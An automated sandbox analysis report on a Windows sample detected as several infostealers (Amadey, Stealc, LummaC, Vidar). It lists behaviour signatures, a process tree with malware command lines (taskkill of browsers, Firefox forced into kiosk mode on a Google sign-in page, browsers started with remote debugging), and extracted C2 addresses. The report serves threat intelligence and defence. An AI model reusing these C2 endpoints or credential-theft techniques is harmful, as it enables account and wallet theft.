Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1565420
MD5:	1038f723c2fca19f38fabbed2e099dba
SHA1:	55c976ce86a5f9f781f9c6c4366907c6092f79fa
SHA256:	a94db821e336f4d9481a07fd572b65f40dba79ca5dec9abe4741bbd607ad5d84
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops large PE files

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Leaks process information

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

Monitors registry run keys for changes

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2172 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 1038F723C2FCA19F38FABBED2E099DBA)

chrome.exe (PID: 5880 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7108 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 --field-trial-handle=2200,i,9663967089356670699,6161986884311762459,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7964 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3772 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2280,i,12129099587254374971,13455169532411642605,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 5428 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EBFHJEGDAF.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

EBFHJEGDAF.exe (PID: 7332 cmdline: "C:\Users\user\Documents\EBFHJEGDAF.exe" MD5: 7DE3C1AE47C4A3711EB3819636D97A85)

skotes.exe (PID: 3292 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 7DE3C1AE47C4A3711EB3819636D97A85)

43cdd8ad97.exe (PID: 8184 cmdline: "C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe" MD5: 90CA710AAF9DBEB26796E2023B2C20A4)

chrome.exe (PID: 4368 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=43cdd8ad97.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7472 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2388,i,1742879964880318767,14885282472322802179,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2464 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=43cdd8ad97.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

998d30a932.exe (PID: 6408 cmdline: "C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe" MD5: 1038F723C2FCA19F38FABBED2E099DBA)

fd549fc84a.exe (PID: 1900 cmdline: "C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe" MD5: 0C37B6B31773E922A0C8521A372FB1EA)

taskkill.exe (PID: 6720 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1400 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3356 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7304 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4708 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 7868 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

8d8ec3a6f5.exe (PID: 5344 cmdline: "C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe" MD5: B339132A89D00BAEB7CA4080AF49E1E8)

480f06d5d5.exe (PID: 5656 cmdline: "C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe" MD5: 7B6E53D8288AB7A3A6326D4C54B50D29)

msedge.exe (PID: 7560 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1292 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=2120,i,3944860709860646515,864746559812166829,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8104 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 7DE3C1AE47C4A3711EB3819636D97A85)

43cdd8ad97.exe (PID: 6972 cmdline: "C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe" MD5: 90CA710AAF9DBEB26796E2023B2C20A4)

firefox.exe (PID: 5560 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7260 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3372 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2184 -parentBuildID 20230927232528 -prefsHandle 2128 -prefMapHandle 2120 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d31f3b73-117a-46ce-a0f7-234ea1f05cc0} 7260 "\\.\pipe\gecko-crash-server-pipe.7260" 209e5570d10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3276 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4112 -parentBuildID 20230927232528 -prefsHandle 4104 -prefMapHandle 4100 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {275762a2-0039-4320-92ee-e26bc0abc741} 7260 "\\.\pipe\gecko-crash-server-pipe.7260" 209f7adc910 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

998d30a932.exe (PID: 2108 cmdline: "C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe" MD5: 1038F723C2FCA19F38FABBED2E099DBA)

fd549fc84a.exe (PID: 2220 cmdline: "C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe" MD5: 0C37B6B31773E922A0C8521A372FB1EA)

taskkill.exe (PID: 5388 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4324 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3204 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 320 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4308 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 3044 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4852 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

8d8ec3a6f5.exe (PID: 7348 cmdline: "C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe" MD5: B339132A89D00BAEB7CA4080AF49E1E8)

skotes.exe (PID: 6824 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 7DE3C1AE47C4A3711EB3819636D97A85)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": "https://atten-supporse.biz:443/api", "Build Version": "LOGS11--LiveTraffi"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000013.00000003.3165454493.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.2887857477.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.2949039124.0000000000FD1000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000024.00000003.3061560416.0000000004A80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2642547892.000000000082E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000003.2947502501.0000000000EDA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.2676839674.00000000009E1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002C.00000002.3321976741.0000000000F21000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000003.3165454493.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000003.2903220212.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2079497513.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2643149920.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000024.00000002.3153209613.0000000000777000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000024.00000002.3154929819.0000000000FD1000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000003.2958747592.0000000001853000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
0000002C.00000003.3271435365.00000000050E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000002.2731282845.0000000000F21000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000003.2863895626.0000000000EF9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.3163189806.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.3163189806.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.3126712779.0000000000DD1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000026.00000003.3125854620.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000012.00000002.2948364302.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000003.2942344526.0000000000EF6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2690741970.0000000004EB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000003.2972911778.0000000000EDA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.2915507656.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.3084946747.0000000000DD1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2635970230.00000000051C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000003.2863431539.0000000000EF9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000003.2682849149.0000000005710000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000003.3174010406.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2172	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2172	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2172	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2172	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 43cdd8ad97.exe PID: 8184	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 43cdd8ad97.exe PID: 8184	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 43cdd8ad97.exe PID: 8184	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 998d30a932.exe PID: 6408	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 998d30a932.exe PID: 6408	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 43cdd8ad97.exe PID: 6972	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 43cdd8ad97.exe PID: 6972	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 43cdd8ad97.exe PID: 6972	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: fd549fc84a.exe PID: 1900	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 40 entries

Unpacked PEs

Source	Rule	Description	Author
44.2.skotes.exe.f20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.EBFHJEGDAF.exe.9e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
16.2.skotes.exe.f20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 3292, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\43cdd8ad97.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 2172, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 5880, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 3292, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\43cdd8ad97.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T19:50:20.267653+0100	2028371	3	Unknown Traffic	192.168.2.5	49872	104.21.16.9	443	TCP
2024-11-29T19:50:22.557757+0100	2028371	3	Unknown Traffic	192.168.2.5	49880	104.21.16.9	443	TCP
2024-11-29T19:50:25.022114+0100	2028371	3	Unknown Traffic	192.168.2.5	49888	104.21.16.9	443	TCP
2024-11-29T19:50:27.496293+0100	2028371	3	Unknown Traffic	192.168.2.5	49894	104.21.16.9	443	TCP
2024-11-29T19:50:30.396138+0100	2028371	3	Unknown Traffic	192.168.2.5	49903	104.21.16.9	443	TCP
2024-11-29T19:50:33.232010+0100	2028371	3	Unknown Traffic	192.168.2.5	49910	104.21.16.9	443	TCP
2024-11-29T19:50:36.962714+0100	2028371	3	Unknown Traffic	192.168.2.5	49922	104.21.16.9	443	TCP
2024-11-29T19:50:36.998374+0100	2028371	3	Unknown Traffic	192.168.2.5	49921	104.21.16.9	443	TCP
2024-11-29T19:50:39.995957+0100	2028371	3	Unknown Traffic	192.168.2.5	49933	104.21.16.9	443	TCP
2024-11-29T19:50:42.973507+0100	2028371	3	Unknown Traffic	192.168.2.5	49946	104.21.16.9	443	TCP
2024-11-29T19:50:44.368943+0100	2028371	3	Unknown Traffic	192.168.2.5	49951	104.21.16.9	443	TCP
2024-11-29T19:50:48.503454+0100	2028371	3	Unknown Traffic	192.168.2.5	49967	104.21.16.9	443	TCP
2024-11-29T19:50:52.068527+0100	2028371	3	Unknown Traffic	192.168.2.5	49982	104.21.16.9	443	TCP
2024-11-29T19:50:56.198794+0100	2028371	3	Unknown Traffic	192.168.2.5	49993	104.21.16.9	443	TCP
2024-11-29T19:51:00.011188+0100	2028371	3	Unknown Traffic	192.168.2.5	50001	104.21.16.9	443	TCP
2024-11-29T19:51:04.072113+0100	2028371	3	Unknown Traffic	192.168.2.5	50019	104.21.16.9	443	TCP
2024-11-29T19:52:13.921695+0100	2028371	3	Unknown Traffic	192.168.2.5	50192	52.182.143.212	443	TCP
